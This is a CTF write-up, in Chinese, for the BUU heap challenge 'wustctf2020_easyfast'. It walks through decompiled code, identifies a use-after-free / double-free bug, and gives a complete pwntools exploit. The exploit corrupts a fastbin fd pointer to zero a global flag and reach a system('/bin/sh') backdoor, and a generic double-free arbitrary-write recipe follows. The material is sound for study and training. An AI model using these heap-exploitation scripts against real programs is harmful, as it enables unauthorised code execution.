前言
一道fastbin attack (fastbin double free/ 其实BUU这题是UAF) 的题目
BUU有环境
分析过程
分析之后重命名各个函数
void sub_400ACD()
{
char s[8]; // [rsp+0h] [rbp-20h] BYREF
__int64 v1; // [rsp+8h] [rbp-18h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]
v2 = __readfsqword(0x28u);
*(_QWORD *)s = 0LL;
v1 = 0LL;
while ( 1 )
{
puts("choice>");
fgets(s, 8, stdin);
switch ( atoi(s) )
{
case 1:
add(s, 8LL);
break;
case 2:
del(s, 8LL);
break;
case 3:
edit(s, 8LL);
break;
case 4:
backdoor(s, 8LL);
break;
case 5:
exit(0);
default:
puts("invalid");
break;
}
}
}
释放功能函数里有个double free漏洞, 没有检查是否已经释放, 所以可以多次释放
unsigned __int64 sub_4009D7()
{
__int64 v1; // [rsp+8h] [rbp-28h]
char s[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v3; // [rsp+28h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("index>");
fgets(s, 8, stdin);
v1 = atoi(s);
free(*(&buf + v1));
return __readfsqword(0x28u) ^ v3;
}
分析backdoor的逻辑
int sub_400896()
{
int result; // eax
if ( qword_602090 )
result = puts("Not yet");
else
result = system("/bin/sh");
return result;
}
只要0x602090地址处的值为0就能绕过检测get shell
漏洞利用
思路不复杂, 利用double free, 修改fast chunk的fd指针实现任意地址写, 把0x602090地址处改为0即可
调试查看伪造chunk的适应大小, 所以申请0x40, 得到0x50的chunk
不过调试时发现, 不能申请超过4个chunk, …, 不然提示"no need"
按照星盟的教学视频思路是打不通的BUU的, 所以需要更换思路
然后发现其实有更简洁的方法, 既然没有检查是否释放chunk, 那么存在UAF漏洞, 释放后直接利用就行了, 不需要double free构建循环链表
from pwn import *
url, port = "node4.buuoj.cn", 27740
filename = "./wustctf2020_easyfast"
elf = ELF(filename)
libc = ELF("/glibc/2.23/64/lib/libc-2.23.so")
context(arch="amd64", os="linux")
# context(arch="i386", os="linux")
debug = 0
if debug:
context.log_level="debug"
io = process(filename)
context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io)
else:
io = remote(url, port)
def dbg():
gdb.attach(io)
pause()
def Add(size):
io.sendlineafter("choice>\n", "1")
io.sendlineafter("size>\n", str(size))
def Free(idx):
io.sendlineafter("choice>\n", "2")
io.sendlineafter("index>\n", str(idx))
def Edit(idx, content):
io.sendlineafter("choice>\n", "3")
io.sendlineafter("index>\n", str(idx))
io.send(content)
def Backdoor():
io.sendlineafter("choice>\n", "4")
def pwn():
target_addr = 0x602090 - 0x10
Add(0x40)
Free(0)
Edit(0, p64(target_addr))
# dbg()
Add(0x40)
Add(0x40)
# dbg()
Edit(2, p64(0))
Backdoor()
io.interactive()
if __name__ == "__main__":
pwn()
总结
第一次没看具体WP亲自做出来堆漏洞题目, 而且思路是当场想的, 激动~
只能说大概掌握漏洞调试技术以后, 利用手法都是可以具体问题具体分析, 通过调试摸索出来了, 以后再也不怕脚本打不通了
没啥好总结的, 就说说double free漏洞的套路
add(0x20) # chunk0
add(0x20) # chunk1
free(0) # free chunk0
free(1) # free chunk1
free(0) # free chunk0
如上执行可以构造循环链表0→1→0, 再执行
add(0x20) # 分配出 chunk0
add(0x20) # 分配出 chunk1
edit(2, target_addr) # edit chunk0 fd指针
add(0x20) # 分配出 chunk0
add(0x20) # 申请到 target_addr 处的 chunk
就能劫持chunk到target_addr, 如果提供了edit功能, 就能得到任意地址写的能力
卡点
(1) pwndocker的pwntools是4.5.0版本, 对tmux支持有问题, 所以第一次调试出现问题
升级pwntools到4.6.0即可
pwn update
pip install -U pwntools